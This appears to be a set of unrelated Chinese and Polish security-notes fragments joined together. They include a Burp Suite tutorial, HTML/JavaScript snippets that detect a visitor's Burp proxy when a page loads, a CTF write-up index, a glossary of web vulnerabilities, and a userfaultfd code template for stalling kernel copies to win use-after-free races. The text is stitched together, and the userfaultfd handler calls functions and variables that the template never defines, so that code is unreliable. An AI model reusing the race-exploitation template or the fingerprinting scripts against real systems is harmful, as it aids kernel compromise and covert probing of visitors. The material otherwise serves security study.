其设置项跟上一个类似,需要注意的是 Match against pre-URL-encoded payloads,如果你在请求消息时配置了 URL-encode payloads ,则这里表示匹配未编码之前的 Payload 值,而不是转码后的值.
**重定向 (Redirections)**
这些设置主要是用来控制执行攻击时 Burp 如何处理重定向,在实际使用中往往是必须遵循重定向,才能实现你的攻击目的.例如,在密码猜测攻击,每次尝试的结果可能是密码错误会重定向响应到一个错误消息提示页面,如果密码正确会重定向到用户中心的首页. 但设置了重定向也可能会遇到其他的问题,比如说,在某些情况下,应用程序存储你的会话中初始请求的结果,并提供重定向响应时检索此值,这时可能有必要在重定向时只使用一个单线程攻击.也可能会遇到,当你设置重定向,应用程序响应会重定向到注销页面,这时候,按照重定向可能会导致你的会话被终止时. 因其设置选项跟其他模块的重定向设置基本一致,此处就不再重叙.
---
## Repeater
`中继模块`
Burp Repeater 作为 Burp Suite 中一款手工验证 HTTP 消息的测试工具,通常用于多次重放请求响应和手工修改请求消息的修改后对服务器端响应的消息分析.
请求消息区为客户端发送的请求消息的详细信息,Burp Repeater 为每一个请求都做了请求编号,当我们在请求编码的数字上双击之后,可以修改请求的名字,这是为了方便多个请求消息时,做备注或区分用的.在编号的下方,有一个 [GO] 按钮,当我们对请求的消息编辑完之后,点击此按钮即发送请求给服务器端.服务器的请求域可以在 target 处进行修改,如上图所示.
应答消息区为对应的请求消息点击 [GO] 按钮后,服务器端的反馈消息.通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好的帮助我们分析系统可能存在的漏洞.
在我们使用 Burp Repeater 时,通常会结合 Burp 的其他工具一起使用,比如 Proxy 的历史记录,Scanner 的扫描记录、Target 的站点地图等,通过其他工具上的右击菜单,执行[Send to Repeater],跳转到 Repeater 选项卡中,然后才是对请求消息的修改以及请求重放、数据分析与漏洞验证.
**可选项设置(Options)**
与 Burp 其他工具的设置不同,Repeater 的可选项设置菜单位于整个界面顶部的菜单栏中,如图所示:
其设置主要包括以下内容:
- 更新 Content-Length 这个选项是用于控制 Burp 是否自动更新请求消息头中的 Content-Length
- 解压和压缩(Unpack gzip / deflate)这个选项主要用于控制 Burp 是否自动解压或压缩服务器端响应的内容
- 跳转控制(Follow redirections)这个选项主要用于控制 Burp 是否自动跟随服务器端作请求跳转,比如服务端返回状态码为 302,是否跟着应答跳转到 302 指向的 url 地址. 它有4个选项,分别是永不跳转(Never),站内跳转(On-site only)、目标域内跳转(In-scope only)、始终跳转(Always),其中永不跳转、始终跳转比较好理解,站内跳转是指当前的同一站点内跳转;目标域跳转是指 target scope 中配置的域可以跳转;
- 跳转中处理 Cookie(Process cookies in redirections)这个选项如果选中,则在跳转过程中设置的 Cookie 信息,将会被带到跳转指向的 URL 页面,可以进行提交.
- 视图控制(View)这个选项是用来控制 Repeater 的视图布局
- 其他操作(Action)通过子菜单方式,指向 Burp 的其他工具组件中.
---
## Sequencer
`随机数分析`
Burp Sequencer 作为 Burp Suite 中一款用于检测数据样本随机性质量的工具,通常用于检测访问令牌是否可预测、密码重置令牌是否可预测等场景,通过 Sequencer 的数据样本分析,能很好地降低这些关键数据被伪造的风险.
**Live capture**
Burp Sequencer 作为一款随机数分析的工具,在分析过程中,可能会对系统造成不可预测的影响,在你不是非常熟悉系统的情况下,建议不要在生产环境进行数据分析.它的使用步骤大体如下:
1. 首先,确认 Burp Suite 安装正确,并配置好浏览器代理,正常运行.
2. 从 Burp Proxy 的历史日志记录中,寻找 token 或类似的参数,返回右击弹出上下文菜单,点击[Send to Sequencer].
进入 Burp Sequencer 的 Live Capture 面板,选中刚才发送过来的记录,点击 [Configure] 配置需要分析的 token 或者参数.
在弹出的参数配置对话框中,选中参数的值,点击 [OK] 按钮,完成参数设置.
点击[Select Live Capture],开始进行参数值的获取.
当抓取的参数值总数大于100时,点击 [pause] 或者 [stop],这时可以进行数据分析,点击 [Analyze now] 即进行数据的随机性分析.
等分析结束,则可以看到分析结果的各种图表.
**Manual load**
当然,我们也可以把获取的数据保存起来,下一次使用的时候,从文件加载参数,进行数据分析.
**Analysis Options**
分析可选项设置的目的主要是为了控制 token 或者参数,在进行数据分析过程中,需要做什么样的处理,以及做什么类型的随机性分析.它主要由令牌处理(Token Handling)和令牌分析(Token Analysis)两部分构成.
令牌处理Token Handling主要控制令牌在数据分析中如何被处理,它的设置界面如下图所示:
其中 Pad short tokens at start / end 表示如果应用程序产生的令牌是具有可变长度的,那么这些令牌在数据分析前都需要被填充,以便于进行的统计检验.你可以选择是否填充在开始位置或每个令牌的结束位置.在大多数情况下,在开始位置填充是最合适. Pad with 表示你可以指定将用于填充的字符.在大多数情况下,数字或 ASCII 十六进制编码的令牌,用"0"填充是最合适的. Base64-decode before analyzing 表示在数据分析是否进行 base64 解码,如果令牌使用了 base64 编码的话,则需要勾选此项.
令牌分析 Token Analysis 主要用来控制对数据进行随机性分析的类型,我们可以选择多个分析类型,也可以单独启用或禁用每个字符类型级和字节级测试.有时候,执行与启用所有分析类型进行初步分析后,再禁用某些分析类型,以便更好地了解令牌的特点,或隔离由样品表现任何不寻常的特性.
其中上面两个选项是控制数据分析的字符类型级,它包含 Count 和 Transitions.
- Count 是指分析在令牌内的每个位置使用的字符的分布,如果是随机生成的样本,所用字符的分布很可能是大致均匀的.在每个位置上分析统计令牌是随机产生的分布的概率.
- Transitions 是指分析样品数据中的连续符号之间的变化.如果是随机生成的样品,出现在一个给定的位置上的字符是同样可能通过在该位置使用的字符中的任一项中的下一个标志的改变.在每个位置上统计分析令牌随机产生到变化的概率.
下面的几项设置是用于控制数据分析的字节级测试,它比字符级测试功能更强大.启用字节级分析中,每个令牌被转换成一组字节,与设置在每个字符位置的字符的大小决定的比特的总数.它包含的测试类型有以下七种.
- FIPS monobit test —— 它测试分析0和1在每个比特位置的分配,如果是随机生成的样本,1和0的数量很可能是大致相等.Burp Sequencer 记录每个位是通过还是没通过 FIPS 试验观测.值得注意的是,FIPS 测试正式规范假定样本总数为20000个时.如果你希望获得的结果与该 FIPS 规范一样严格的标准,你应该确保达到20000个令牌的样本.
- FIPS poker test —— 该测试将j比特序列划分为四个连续的、非重叠的分组,然后导出4个数,计算每个数字出现16个可能数字的次数,并采用卡方校验来评估数字的分布.如果样品是随机生成的,这个数字的分布可能是近似均匀的.在每个位置上,通过该测试方式,分析令牌是随机产生的分布的概率.
- FIPS runs tests —— 该测试将具有相同值的连续的比特序列在每一个位置进行划分成段,然后计算每一个段的长度为1,2,3,4,5,和6以及6以上.如果样品是随机生成的,那么这些段的长度很可能是由样本集的大小所确定的范围之内.在每个位置上,使用该分析方法,观察令牌是随机生成的概率.
- FIPS long runs test —— 这个测试将有相同值的连续的比特序列在每一个位置进行划分成段,统计最长的段.如果样品是随机生成的,最长的段的数量很可能是由样本集的大小所确定的范围之内.在每个位置上,使用此分析方法,观察令牌是随机产生的最长段的概率.
- Spectral tests —— 该测试是在比特序列的每个位置上做一个复杂的分析,并且能够识别某些样品是通过其他统计检验的非随机性证据.样本试验通过比特序列和将每个系列的连续的数字作为多维空间的坐标并通过它绘制在这些坐标来确定每个位置这个空间的一个点.如果是随机生成的样本,点的此空间中的分布可能是大致均匀;在该空间内的簇的外观表示数据很可能是非随机的.在每个位置,使用此种分析方法,观察令牌是随机发生的概率.
- Correlation test —— 比较每个位置具有相同值的令牌样本与每一个位置具有不同值的短令牌样本之间的熵,以测试在令牌内部的不同的比特位置中的值之间的任何统计学显著关系.如果样品是随机生成的,在给定的比特位置处的值是同样可能伴随着一个或一个零在任何其它位的位置.在每个位置上,使用此种分析方法,观察令牌是随机生成的可能性.为了防止任意的结果,当两个比特之间观察到一定程度的相关性,该测试调整,其显着性水平下是基于所有其他比特级测试的位的显着性水平.
- Compressoion test —— 这种测试不使用其他测试中使用的统计方法,而是通过简单直观的指标统计比特序列中每个位置熵的数量.该分析方法尝试使用标准ZLIB压缩比特序列的每个位置,结果表明,当它被压缩在比特序列的大小的比例减少,较高压缩程度表明数据是不太可能被随机产生的.
---
## Decoder
`编码解码工具`
Burp Decoder 的功能比较简单,作为 Burp Suite 中一款编码解码工具,它能对原始数据进行各种编码格式和散列的转换.其界面如下图,主要由输入域、输出域、编码解码选项三大部分组成.
输入域即输入需要解码的原始数据,此处可以直接填写或粘贴,也可以通过其他 Burp 工具的上下文菜单中[Send to Decoder];输出域即对输入域进行解码的结果显示出来.无论是输入域还是输出域都支持文本与 Hex 两种格式,其中编码解码选项中,由解码选项 (Decode as)、编码选项 (Encode as)、散列 (Hash) 三个构成.实际使用中,可以根据场景的需要进行设置.对于编码解码选项,目前支持URL、HTML、Base64、ASCII、16进制、8进制、2进制、GZIP共八种形式的格式转换,Hash 散列支持 SHA、SHA-224、SHA-256、SHA-384、SHA-512、MD2、MD5 格式的转换,更重要的是,对于同一个数据,我们可以在 Decoder 的界面,进行多次编码解码的转换.
---
## Comparer
`差异比对模块`
Burp Comparer 在 Burp Suite 中主要提供一个可视化的差异比对功能,来对比分析两次数据之间的区别.使用中的场景可能是:
1. 枚举用户名过程中,对比分析登录成功和失败时,服务器端反馈结果的区别.
2. 使用 Intruder 进行攻击时,对于不同的服务器端响应,可以很快的分析出两次响应的区别在哪里.
3. 进行 SQL 注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系.
对于 Comparer 的使用,主要有两个环节组成,先是数据加载,然后是差异分析. Comparer 数据加载的方式常用的有:从其他 Burp 工具通过上下文菜单转发过来、直接粘贴、从文件加载三种方式.当加载完毕后,如果你选择了两次不同的请求或应答消息,则下放的比较按钮将被激活,可以选择文本比较或者字节比较.
如果点击了 [words] 或者 [bytes],则进入比对界面,页面自动通过背景颜色显示数据的差异.
其中,文本比较 (words) 是指通过文本的方式,比如说以 HTML 的方式,比较两个数据的差异;而字节比较 (bytes) 是指通过 16 进制的形式,比较两次内容的差异.
---
## Extender
`插件模块`
下载、管理 burp 的插件
官方插件商店 https://portswigger.net/bappstore
大部分插件运行需要 [Jython](https://www.jython.org/downloads.html)、[JRuby](https://www.jruby.org/download) 环境,需要在 Extender-->Options 中指定 jar 文件,或者直接安装
在 Burp Extender 面板中,有一个 BApp Store 的 Tab 页,这就是 Burp 的应用商店,内容是提供各种 Burp 的插件. 默认情况下,当你点击 [BApp Store] 的 Tab 页时,界面列表会显示插件明细,若你的环境是通过代理访问外网的,则需要在 [User Options]->[Connections]->[Upstream Proxy Servers] 进行设置
安装完成的插件,都会显示在插件列表中.
---
## Project options
**Macro**
`宏`
可编写宏规则实时获取页面字段,如 token,这里就不细讲了
相关文章
- [【技术分享】如何使用Burp Suite Macros绕过防护进行自动化fuzz测试](https://www.anquanke.com/post/id/86768)
---
## User options
**Plaform Authentication**
通过这些设置,可以配置 Burp 自动对目标 Web 服务器平台进行认证。可以为各个主机配置不同的身份验证类型和凭证。
支持的认证类型有:basic 基本认证、NTLMv1、NTLMv2 和摘要认证。域名和主机名字段仅用于 NTLM 身份验证。
"Prompt for credentials on platform authentication failure" 选项会使 Burp 在遇到身份验证失败时显示一个交互式弹出窗口。
例如遇到需要 NTLM 认证后,才能访问系统的目标
添加新的配置,认证方式选择 NTLMv2,然后重新发送请求就 ok 了
**Upstream Proxy Servers**
上面描述了需要 burp 走代理的使用情况,同样,在使用一些被动漏扫工具时也可以使用该功能将 burp 的流量转发至被动漏扫工具。
---
## 通过 proxifier 分流 burp
在渗透测试时,我们常遇到出现浏览器自己本身的包,以及一些不相干的网站流量的情况,如何避免,或者一劳永逸的解决呢?
在 Intercept Client Requests 配置忽略是一个方法,但是这个选项不支持批量导入
TLS Pass Through 支持批量导入,但又不是我需要的功能
不如换一种思路, 如果 burp 不能做到这种操作,我在流量到达 burp 前做个分流不就可以了嘛。
proxifier 是我们平时常用的 windows 端全局代理工具,通过配置 rule 可以轻松获得干净的 burp 流量
要求做到
- 命中规则的走 1080,就是在 burp 中看不到这个流量
- 未名字规则的 走 8080,burp 上可以看到
先创建代理服务器
然后创建规则
再创建一个默认的发给 burp
顺序如下,注意,顺序从上至下执行,非常重要,不能乱!!!!
如果这里面 rule burp 在上面那么,any 优先匹配, rule 1080就永远不会执行了
同样,Defalut 规则也尽量不要做修改。
这时候,chrome浏览器中默认所有流量全部发向 8080 口,而命中规则的流量发给 1080 ,再规则里配置你不想看到的域名即可,我个人的规则如下
- https://github.com/ffffffff0x/AboutSecurity/blob/master/Payload/Burp/Proxifier_filter.txt
效果
google 命中规则,发向 1080
freebug 未命中规则,发向 8080
完美, 一劳永逸的解决了所有问题, 更换 burp 版本也不受影响
---
## linux 命令行抓包
按教程测试一些poc,突然有抓脚本流量的需求,想到linux可以用 proxychains 把流量代理到 burp,测试下
```
vim /etc/proxychains.conf
http 192.168.1.xxx 8080
```
改成宿主机的地址,端口指向 burp 的端口
在 burp 里修改默认监听的网卡,不然虚拟机无法访问到
运行脚本测试下
可以在 burp 中查看相应的流量了
---
## 蓝队反制
**相关文章**
- [【技术分享】反制爬虫之Burp Suite RCE](https://mp.weixin.qq.com/s/FHvvUOLskvQ9QqVMboU8ng)
- [HTML Injection in Swing can disclose netNTLM hash or cause DoS](https://hackerone.com/reports/1054382)
### 特征识别
**相关文章**
- [Burpsuite 特征识别及其对抗措施](https://rmb122.com/2022/08/14/burpsuite-%E7%89%B9%E5%BE%81%E8%AF%86%E5%88%AB%E5%8F%8A%E5%85%B6%E5%AF%B9%E6%8A%97%E6%8E%AA%E6%96%BD/)
**favicon**
```html
<h2 id='indicator'>Loading...</h2>
<script>
function burp_found() {
let e = document.getElementById('indicator');
e.innerText = 'Burp FOUND !!!';
}
function burp_not_found() {
let e = document.getElementById('indicator');
e.innerText = 'Burp not found.';
}
</script>
<img style="display: none;" src='http://burp/favicon.ico' onload='burp_found()' onerror='burp_not_found()'/>
```
**导出证书接口**
```html
<h2 id='indicator'>Loading...</h2>
<script>
function burp_found() {
let e = document.getElementById('indicator');
e.innerText = 'Burp FOUND !!!';
}
function burp_not_found() {
let e = document.getElementById('indicator');
e.innerText = 'Burp not found.';
}
</script>
<script style="display: none;" src='http://127.0.0.1:8080/cert' onload='burp_found()' onerror='burp_not_found()'></script>
```
在 Proxy -> Options -> Miscellaneous 中勾选 Disable web interface at http://burp
**报错页面**
```html
<h2 id='indicator'>Loading...</h2>
<script>
function burp_found() {
let e = document.getElementById('indicator');
e.innerText = 'Burp FOUND !!!';
}
function burp_not_found() {
is_burp_not_found = true;
let e = document.getElementById('indicator');
e.innerText = 'Burp not found.';
}
</script>
<script>
fetch('http://not_exists_domain/not_exist', {method: 'GET', mode: 'no-cors'}).then((r)=>{burp_found();}).catch((e)=>{burp_not_found();});
// 200 -> fetch 成功, 触发 then, burp 存在. 超时 -> fetch 失败, 触发 catch, burp 不存在.
</script>
```
在 Proxy -> Options -> Miscellaneous 中勾选 Suppress Burp error messages in browser
|
sec-knowleage
|
version: '2'
services:
apache:
build: .
ports:
- "8080:80"
volumes:
- ./upload.php:/var/www/html/upload.php
|
sec-knowleage
|
# Writeup HackIM (Nullcon) CTF 2016
Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w Nullcon CTF 2016, i znowu spróbujemy opisać zadania z którymi walczyliśmy.
### Spis treści:
* ["Twitter search" (Recon) 200](recon_1)
* ["Dictator" (Recon) 300](recon_2)
* ["Cook" (Recon) 300](recon_3)
* ["Nullcon youtube" (Recon) 400](recon_4)
* ["Game of life" (PPC/Recon) 500](recon_5)
* ["Xor with static key" (Crypto) 500](crypto_1)
* ["Caesar" (Crypto) 400](crypto_2)
* ["Repeating xor" (Crypto) 400](crypto_3)
* ["MD5" (Crypto) 200](crypto_4)
* ["RSA" (Crypto) 500](crypto_5)
* ["ZorroPub" (RE) 100](re_1)
* ["Pseudorandom" (RE) 300](re_2)
* ["Exploit 1" (PWN) 100](pwn_1)
* ["Exploit 2" (PWN) 200](pwn_2)
* ["Exploit 3" (PWN) 300](pwn_3)
* ["Sign server" (Web) 100](web_1)
* ["Unickle" (Web) 200](web_2)
* ["LUHN" (Web) 300](web_3)
* ["Smashthestate" (Web) 400](web_4)
* ["HQLol" (Web) 500](web_5)
* ["CatchMeIfYouCan" (Forensics) 100](forensics_1)
* ["Trivia 2" (Trivia/Recon) 200](trivia_2)
* ["Trivia 3" (Trivia) 300](trivia_3)
* ["Trivia 4" (Trivia) 400](trivia_4)
|
sec-knowleage
|
### userfaultfd 的使用概述
严格意义而言 userfaultfd 并非是一种利用手法,**而是 Linux 的一个系统调用**,简单来说,通过 userfaultfd 这种机制,**用户可以通过自定义的 page fault handler 在用户态处理缺页异常**。
要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 `uffd monitor`,该线程会通过 `poll()` 函数不断轮询**直到出现缺页异常**
- 当有一个线程在这块内存区域内触发缺页异常时(比如说第一次访问一个匿名页),该线程(称之为 faulting 线程)进入到内核中处理缺页异常
- 内核会调用 `handle_userfault()` 交由 userfaultfd 处理
- 随后 faulting 线程进入堵塞状态,同时将一个 `uffd_msg` 发送给 monitor 线程,等待其处理结束
- monitor 线程调用通过 ioctl 处理缺页异常,有如下选项:
- `UFFDIO_COPY`:将用户自定义数据拷贝到 faulting page 上
- `UFFDIO_ZEROPAGE` :将 faulting page 置 0
- `UFFDIO_WAKE`:用于配合上面两项中 `UFFDIO_COPY_MODE_DONTWAKE` 和 `UFFDIO_ZEROPAGE_MODE_DONTWAKE` 模式实现批量填充
- 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作
以上便是 userfaultfd 这个机制的整个流程,该机制最初被设计来用以进行虚拟机/进程的迁移等用途,但是**通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高**,比如在如下的操作时:
```c
copy_from_user(kptr, user_buf, size);
```
如果在进入函数后,实际拷贝开始前线程被中断换下 CPU,别的线程执行,修改了 kptr 指向的内存块的所有权(比如 kfree 掉了这个内存块),然后再执行拷贝时就可以实现 UAF。这种可能性当然是比较小的,但是如果 user_buf 是一个 mmap 的内存块,并且我们为它注册了 userfaultfd,那么在拷贝时出现缺页异常后此线程会先执行我们注册的处理函数,在处理函数结束前线程一直被暂停,结束后才会执行后面的操作,大大增加了竞争的成功率。
### userfaultfd 的使用使用方法
在 [Linux man page](https://man7.org/linux/man-pages/man2/userfaultfd.2.html) 当中便已经为我们提供了 userfaultfd 的基本使用模板,我们只需要稍加修改便能直接投入到实战当中,下面笔者给出自用的为特定内存注册 userfaultfd monitor 的模板:
```c
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
err_exit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err_exit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err_exit("ioctl-UFFDIO_REGISTER");
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
err_exit("pthread_create");
}
```
我们可以直接通过如下操作来为一块匿名的 mmap 内存注册 userfaultfd:
```c
register_userfaultfd(thread, addr, len, handler);
```
需要注意的是 handler 的写法,这里笔者直接照抄 Linux man page 改了改,可以根据个人需求进行个性化改动:
```c
static char *uffd_src_page = NULL; // 你要拷贝进去的数据
static long uffd_src_page_size = 0x1000;
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作,
* 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :)
*/
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
uffdio_copy.src = (unsigned long) uffd_src_page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(uffd_src_page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}
```
|
sec-knowleage
|
# Web 简介
随着 WEB 2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于 WEB 环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在 WEB 平台上,WEB 业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是 WEB 安全威胁的凸显,黑客利用网站操作系统的漏洞和 WEB 服务程序的漏洞得到 WEB 服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
在 CTF 竞赛中,WEB 也是占比重很大的一个方向之一,WEB 类的题目种类繁多,知识点细碎,时效性强,能紧跟时下热点漏洞,贴近实战。
WEB 类的题目包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等。
## SQL 注入
通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中
## XSS 跨站脚本攻击
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
## 命令执行
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 `system`、`exec`、`shell_exec` 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。这里还是主要以 PHP 为主介绍命令执行漏洞,Java 等应用的细节待补充。
## 文件包含
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
## CSRF 跨站请求伪造
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 WEB 系统的安全。
## SSRF 服务器端请求伪造
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
## 文件上传
在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。
## 点击劫持
Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在 2008 年首创的。
是一种视觉欺骗手段,在 WEB 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。
由于点击劫持的出现,便出现了反 frame 嵌套的方式,因为点击劫持需要 iframe 嵌套页面来攻击。
下面代码是最常见的防止 frame 嵌套的例子:
```js
if(top.location!=location)
top.location=self.location;
```
## VPS 虚拟专用服务器
VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。实现 VPS 的技术分为容器技术,和虚拟化技术。在容器或虚拟机中,每个 VPS 都可分配独立公网 IP 地址、独立操作系统、实现不同 VPS 间磁盘空间、内存、CPU 资源、进程和系统配置的隔离,为用户和应用程序模拟出独占使用计算资源的体验。VPS 可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS 为使用者提供了管理配置的自由,可用于企业虚拟化,也可以用于 IDC 资源租用。
IDC 资源租用,由 VPS 提供商提供。不同 VPS 提供商所使用的硬件 VPS 软件的差异,及销售策略的不同,VPS 的使用体验也有较大差异。尤其是 VPS 提供商超卖,导致实体服务器超负荷时,VPS 性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器 VPS 的价格都低于虚拟机 VPS 的价格。
## 条件竞争
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
## XXE
XXE Injection 即 XML External Entity Injection,也就是 XML 外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。
在 XML 1.0 标准里,XML 文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了「污染」源,在对 XML 文档处理后则可能导致信息泄漏等安全问题。
## XSCH
由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)进行正确的配置导致问题产生。 例如:
```xml
<cross-domain-policy>
<allow-access-from domain=“*”/>
</cross-domain-policy>
```
因为跨域策略文件配置为 `*`,也就指任意域的 Flash 都可以与它交互,导致可以发起请求、获取数据。
## 越权(功能级访问缺失)
越权漏洞是 WEB 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
## 敏感信息泄露
敏感信息指不为公众所知悉,具有实际和潜在利用价值,丢失、不当使用或未经授权访问对社会、企业或个人造成危害的信息。包括:个人隐私信息、业务经营信息、财务信息、人事信息、IT 运维信息等。
泄露途径包括 Github、百度文库、Google code、网站目录等。
## 错误的安全配置
Security Misconfiguration:有时候,使用默认的安全配置可能会导致应用程序容易遭受多种攻击。在已经部署的应用、WEB 服务器、数据库服务器、操作系统、代码库以及所有和应用程序相关的组件中,都应该使用现有的最佳安全配置,这一点至关重要。
## 请求走私
在 HTTP 协议中,存在两种 Header 来指定请求的结尾,分别是 Content-Length 以及 Transfer-Encoding。在复杂的网络环境下,不同的服务器以不同的方式实现 RFC 标准。因此,相同的 HTTP 请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
## TLS 投毒
在 TLS 协议中,存在一种会话复用机制,当支持该类特性的客户端访问了恶意 TLS 服务器后,客户端会存储恶意服务器下发的 Session ,在客户端重用会话时,配合 DNS Rebinding 可以实现让客户端发送恶意 Session 至内网服务,从而达到 SSRF 攻击效果,包括可以任意写入 Memcached 等内网服务,进而配合其他漏洞造成 RCE 等危害。
## XS-Leaks
跨站脚本泄漏(又称 XS-Leaks/XSLeaks),是一类利用 Web 平台内置的侧信道衍生出来的漏洞。其原理是利用网络上的这种侧信道来揭示用户的敏感信息,如用户在其他网络应用中的数据、用户本地环境信息,或者是用户所连接的内部网络信息等。
该攻击利用了 Web 平台的核心原则--可组合性,即允许网站之间相互作用,并滥用合法机制来推断用户的信息。该攻击与跨站请求伪造(CSRF)技术主要区别在于 XS-Leaks 并不伪造用户请求执行操作,而是用来推断、获取用户信息。
浏览器提供了各种各样的功能来支持不同 Web 应用程序之间的互动;例如,浏览器允许一个网站加载子资源、导航或向另一个应用程序发送消息。虽然这些行为通常受到网络平台的安全机制的限制(例如同源政策),但 XS-Leaks 利用了网站之间互动过程中的各种行为来泄露用户信息。
## WAF
Web 应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:WEB 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 WEB 应用提供保护的一款产品。
## IDS
IDS 是英文 Intrusion Detection Systems 的缩写,中文意思是「入侵检测系统」。专业上讲就是依照一定的安全策略,通过软、硬件,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。做一个形象的比喻:假如防火墙是一幢大楼的门锁,那么 IDS 就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。
## IPS
入侵防御系统(IPS:Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter,Application Gateway)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。
## 参考资料
- [WEB 渗透 Wiki](http://wiki.jeary.org/#!websec.md)
|
sec-knowleage
|
# SPOaaS
Pwn, Easy
## Description
